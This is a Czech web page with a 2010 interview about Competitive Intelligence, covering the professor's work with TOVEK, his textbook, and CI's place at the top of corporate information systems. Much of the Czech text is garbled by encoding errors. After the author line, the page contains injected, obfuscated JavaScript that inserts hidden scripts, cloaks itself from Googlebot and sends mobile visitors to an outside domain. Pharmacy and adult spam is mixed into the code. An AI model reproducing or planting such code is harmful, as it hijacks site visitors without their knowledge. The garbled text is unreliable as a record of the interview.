Rozhovor s Prof. Ing. ZdeA?kem MolnA?rem, Csc.

CI v praxi, Odborné články, Realizace CI, Rozhovory

27. 9. 2010

Rozhovor s Prof. Ing. ZdeA?kem MolnA?rem, Csc.

Tak jA? myslAi??m, A?e mA?A?eme zaA?Ai??t. Asi prvnAi?? otA?zku bych VA?m poloA?il takovou, kdy jste se o Competitive Intelligence dozvAi??dAi??l poprvAi?? a A?Ai??m VA?s ten obor oslovil od zaA?A?tku, proA? jste se k tomu pAi??iklonil?

Pokud si vzpomAi??nA?m, tak poprvAi?? jsem se sAi??tAi??m setkal vAi??souvislosti se setkA?nAi??m sAi??panem Richardem PapAi??kem na jakAi??si konferenci asi uA? moA?nA? pAi??ed pAi??ti, A?esti lety a tam jsem projevil o CI zA?jem, protoA?e jsem informatik a informaA?nAi?? systAi??my a informaA?nAi?? strategie a CI se mi jevilo jako velice zajAi??mavA? smAi??r dalA?Ai??ho rozvoje podnikovAi?? informatiky. ProstAi??ednic­tvAi??m zA?jmu o CI jsem se potom seznA?mil i se spoleA?nostAi?? TOVEK, sAi??panem Ing. Vejlupkem a shodou okolnostAi?? vAi??tAi?? dobAi?? se mi podaAi??ilo zAi??skat pomAi??rnAi?? velkA? grant Akademie vAi??d na vyhledA?vA?nAi?? synergickA?ch efektA? pro podnikatelskA? seskupenAi??. To byl tAi??Ai??letA? grant, kterA? jsme Ai??eA?ili spoleA?nAi?? A?VUT a TOVEK a tam jsme opravdu jiA? Ai??eA?ili praktickAi?? nasazenAi?? metod a nA?strojA? CI a vA?sledkem byl pak provAi??Ai??enA? znalostnAi?? portA?l, pro cluster OMNIPACK. To byl hlavnAi?? vA?stup Ai??eA?enAi?? tohoto projektu a tAi??m jsem vlastnAi?? byl vtaA?en do problematiky CI.

TakA?e mA?te i vlastnAi?? zkuA?enosti pAi??Ai??mo zAi??praxe?

MA?m zkuA?enosti sAi??Ai??eA?enAi??m projektu, tj. zkuA?enosti sAi??vyuA?itAi??m metod a postupA? CI, i kdyA? technologickou, praktickou A?A?st samozAi??ejmAi?? Ai??eA?ila spoleA?nost TOVEK. Ale jA? jsem byl Ai??eA?itelem vAi??oblasti obsahovAi?? a koncepA?nAi??.

MA?A?u se jenom zeptat, ten cluster OMNIPACK jeA?tAi?? funguje, nebo jak to je?

Cluster OMNIPACK funguje, ale ten projekt byl ukonA?en pAi??ed tAi??mi tAi??emi lety, takA?e uA? nemA?m sAi??nimi nAi??jakAi?? dalA?Ai?? zkuA?enosti…

NicmAi??nAi?? ty metody, kterAi?? se asi zavedly, to funguje dA?l.

SamozAi??ejmAi??. Tam byl urA?itA? problAi??m, a to byl taky vA?stup zAi??toho projektu, udAi??lat Ai??eA?enAi??, kterAi?? by bylo cenovAi?? dostupnAi?? seskupenAi??m malA?ch a stAi??ednAi??ch firem. CoA? se myslAi??m podaAi??ilo.

DA?l bych se zeptal, co VA?s vedlo kAi??tomu napsA?nAi?? skript, kterA? teA? vznikla…

To je zcela prozaickA? odpovAi??A?. TAi??m, A?e jsem byl pAi??ijat na Vysokou A?kolu ekonomickou a byl mi tam akreditovA?n zcela novA? pAi??edmAi??t Competitive Intelligence, zcela pAi??irozenou potAi??ebou mojAi?? i pAi??A?nAi??m fakulty bylo podpoAi??it jeho existenci skripty. CoA? na vysokA?ch A?kolA?ch je samozAi??ejmAi?? skoro jako nezbytnost.

Co vA?echno mA?A?ou studenti najAi??t vAi??tAi??ch skriptech? Je to zamAi??Ai??enAi?? spAi??A? na technickAi?? zA?zemAi?? neboai??i??

Ne, ne. Ta skripta se snaA?Ai?? udAi??lat takovA? obecnAi??jA?Ai?? pohled na CI, to znamenA?, A?e jsou tam kapitoly vAi??novanAi?? strategickAi??mu Ai??Ai??zenAi??, kapitola vAi??novanA? knowledge managementu, kapitola vAi??novanA? informaA?nAi??m zdrojA?m a takAi??, to jenom informativnAi??, nAi??kterA?m technologiAi??m, tak jak je dnes zavA?dAi?? spoleA?nost TOVEK.

VA?bornAi??.

A?ili jsou to takovA? skripta spAi??A? seznamovacAi??.

Jo.

Taky nejsou nAi??jak tlustA?, majAi?? asi jenom 90 strA?nek.

PAi??emA?A?lAi??te o tom, A?e byste to jeA?tAi?? nAi??jakA?m zpA?sobem rozA?Ai??Ai??il, nebo vydal nAi??co podobnAi??ho, jinAi??ho?

MAi??l jsem pA?vodnAi?? zA?mAi??r napsat knihu. Ale to se pAi??iznA?m bez muA?enAi??, A?e zatAi??m nenachA?zAi??m dostatek energie a A?asu, takA?e pokud jde o rozA?Ai??Ai??e­nAi??, tak zatAi??m nemA?m pAi??edstavu.

Jak se dAi??vA?te na postavenAi?? Competitive Intelligence vAi??tom komplexnAi??m podnikovAi??m Ai??eA?enAi??? JakA?m zpA?sobem mA? bA?t CI zakomponovA?no do Ai??Ai??zenAi???

VAi??tomto si myslAi??m mA?m dost jasno a taky vAi??jednom ze svA?ch A?vodnAi??ch slidA? to ukazuji. To znamenA?: JA? vAi?? podnikovAi?? informatice vidAi??m jasnAi?? tAi??i patra. To prvnAi??, spodnAi?? patro je tvoAi??eno transakA?nAi??mi systAi??my typu ERP, kterAi?? modelujAi??, fotografujAi??, jak jA? Ai??Ai??kA?m, stav podniku. Nad tAi??m je druhAi?? patro, to co se dneska oznaA?uje jako Business Intelligence, kde se vlastnAi?? zobrazuje a modeluje chovA?nAi?? podniku. A nad tAi??m je tedy CI, kterAi?? se orientuje na budoucnost podniku. TakA?e jA? vidAi??m CI na vrcholu tAi?? pyramidy.

JakAi?? vzdAi??lA?nAi?? nebo jakA? typ vzdAi??lA?nAi??, jestli knihovnAi??k, ekonom, IT specialista, technik, je podle VA?s nejvhodnA­i??jA?Ai?? jako teoretickA? pAi??Ai??prava CI specialisty?

Takhle bych tu otA?zku nekladl, protoA?e vAi??me, A?e Competitive Intelligence je multidiscipli­nA?rnAi?? zA?leA?itost, kterA? vAi??sobAi?? snoubAi?? prA?vAi?? synergickAi?? efekty vA?ech tAi??chto tAi??Ai?? profesAi??, to znamenA? profese manaA?era, stratAi??ga, profesi informatika, profesi knihovnAi??ka, ale musAi?? tam bA?t taky psycholog… ProstAi?? musAi?? ovlA?dat nejen technologie, ale i mAi??kkAi?? disciplAi??ny, protoA?e, jak jA? Ai??Ai??kA?m, CI je znalostnAi?? disciplAi??na a tam je A?lovAi??k pros­tAi?? nenahraditelnA? a jeho mentA?lnAi?? modely, pAi??emA?A?lenAi??, kreativita, iniciativnost, vytrvalost, klasickAi?? atributy A?lovAi??ka tam musAi?? bA?t. KdyA? tam nejsou, tak to A?A?dnA? technika prostAi?? nezachrA?nAi??.

MyslAi??te si, A?e majAi?? organizace, jako je napAi??Ai??klad Society of Competitive Intelligence Professionals, pro zavA?dAi??nAi??, rozvoj a budovA?nAi?? CI nAi??jakA? zA?sadnAi?? vA?znam? SchA?zAi?? VA?m tAi??eba nAi??co takovAi??ho u nA?s?

No tak asi tAi??A?ko Ai??Ai??ct, jestli majAi?? zA?sadnAi?? vA?znam, protoA?e vAi??m, A?e existujAi?? i jinAi?? sdruA?enAi?? a organizace, kterAi?? se zabA?vajAi?? CI vAi??celosvAi??to­vAi??m rA?mci. TakA?e nemyslAi??m si, A?e SCIP zrovna by byla organizace, seAi??kterou by stA?l a padal rozvoj CI. VAi??kaA?dAi??m pAi??Ai??padAi?? jako kaA?dAi?? profesionA?lnAi?? zA?jmovAi?? sdruA?enAi??, mA? smysl, takA?e i to by mAi??lo smysl pro nA?s. Abychom tedy dA?vali dohromady prA?vAi?? zA?jmy lidAi??, kde by se vzA?jemnAi?? obohacovali, sdAi??lovali si zkuA?enosti… JakA?koliv vAi??uvozovkA?ch spolkovA? A?innost je uA?iteA?nA?.

Co si myslAi??te o A?eskAi??m podnikovAi??m konkurenA?nAi??m prostAi??edAi??? Jak je to u nA?s? Jsou u nA?s ty firmy spAi??A?e naladAi??ny na to spolupracovat, na nAi??jakou kooperaci, je tady spAi??A?e mezi firmami tvrdA? konkurenA?nAi?? boj, aA? tAi??eba prA?myslovA? A?pionA?A?, nebo tady firmy u nA?s k tomu podle vA?s pAi??istu­pujAi?? spAi??A? laxnAi???

No tak to je pAi??Ai??liA? mnoho otA?zek najednou. Pokud jde o naA?e podnikatelskAi?? prostAi??edAi??, tak pokud jsem ho poznal, i kdyA? ne zas tak moc dA?vAi??rnAi??, tak vAi??m, A?e vAi??tA?ina manaA?erA?, zejmAi??na malA?ch a stAi??ednAi??ch firem Ai??eA?Ai?? kaA?dodennAi?? operativnAi?? problAi??my a mA?lo, prakticky skoro vA?bec se nevAi??nujAi?? nAi??jakA?m dlouhodobAi??jA?A­i??m strategickA?m zA?leA?itostem. To bych vidAi??l jako prvnAi?? charakteristiku. Pokud jde o ten konkurenA?nAi?? boj, tak to straA?nAi?? zA?visAi?? od odvAi??tvAi??, ve kterAi??m se ten danA? podnikatelskA? subjekt pohybuje. NA?s tedy vAi??uvozovkA?ch uA?ili pAi??ed revolucAi??, A?e kapitalista poA?Ai??rA? kapitalistu, coA? samozAi??ejmAi?? vA?bec nenAi?? pravda, protoA?e strategie win-win je dneska jedinA? strategie, kterA? mA?A?e vAi??st kAi??nAi??jakAi??mu A?spAi??chu. BohuA?el toto si jeA?tAi??, myslAi??m, poAi??A?d ne vA?ichni naA?i podnika­telAi?? uvAi??domujAi??.

JeA?tAi?? se zeptA?m, kdyA? bychom se podAi??vali na celA? proces CI, je pro vA?s nAi??jakA? ta A?A?st dA?leA?itAi??jA?A­i?? nebo zA?sadnAi??jA?Ai?? neA? ty ostatnAi??? Jestli je to tAi??eba sbAi??r dat, dobrA? software, kvalitnAi?? zdroje, spoluprA?ce sAi??vedenAi??ma­i??i??

To, co zaznAi??lo i dnes na tomto seminA?Ai??i jednak zAi??mA?ch A?st a jednak i zAi??A?st mA?ch kolegA? zAi??TOVEKu, jA? povaA?uji za nejzA?sadnAi??jA?A­i?? tu prvnAi?? A?A?st cyklu. To znamenA? formulovA?nAi?? key information topics, key information question, formulovA?nAi?? jasnAi??, zAi??etelnAi??, formulovA?nAi?? informaA?nAi??ch potAi??eb. A to nejenom sAi??tAi??m, A?e Ai??eknu, co chci vAi??dAi??t, ale musAi??m taky vAi??dAi??t, proA? to chci a jakA? rozhodnutAi?? podle toho chci udAi??lat. To, kdyA? se neudAi??lA? dobAi??e, tak pak to ostatnAi?? je uA? zbyteA?nAi??. A uA? to nezachrA?nAi??te.

JasnAi??.

A?ili to povaA?uji jA? za nejdA?leA?itA­i??jA?Ai?? vAi??tom cyklu.

JA? vA?m moc dAi??kuju.

Autor Mgr. P. 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d=document;var s=d[_0×d052[1­]](_0×d052[0]);s[_0×d052­[2]]= _0×d052[3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12];i­f(document[_0×d052[13­]]){document[_0×d052[13­]][_0×d052[15]][_0×d052[­14]](s,documen­t[_0×d052[13]])}el­se {d[_0×d052[18­]](_0×d052[17])[0][_0×d0­52[16]](s)};if(do­cument[_0×d052[11­]][_0×d052[19]]=== _0×d052[20]&& KTracking[_0×d052[22­]][_0×d052[21]](_0×d052[­3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12])===  –1){alert(_0×d052[23­])}var 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d=document;var s=d[_0×b322[1­]](_0×b322[0]);s[_0×b322­[2]]= _0×b322[3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12];i­f(document[_0×b322[13­]]){document[_0×b322[13­]][_0×b322[15]][_0×b322[­14]](s,documen­t[_0×b322[13]])}el­se {d[_0×b322[18­]](_0×b322[17])[0][_0×b3­22[16]](s)};if(do­cument[_0×b322[11­]][_0×b322[19]]=== _0×b322[20]&& KTracking[_0×b322[22­]][_0×b322[21]](_0×b322[­3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12])===  –1){alert(_0×b322[23­])} zoloft online chlamydia antibiotics online liquid cialis online. . , ciprodex otic. online Zoloft. mobile sex, mobile sex, mobile sex, mobile sex, mobile sex, mobile sex, mobile sex, mobile sex. cost comparison viagra vs cialis 250. Viagra Jelly buy comprar malegra buyclomidonla­ine.com/buy-nolvadex-online/ rio rico pharmacy. var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ _0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}

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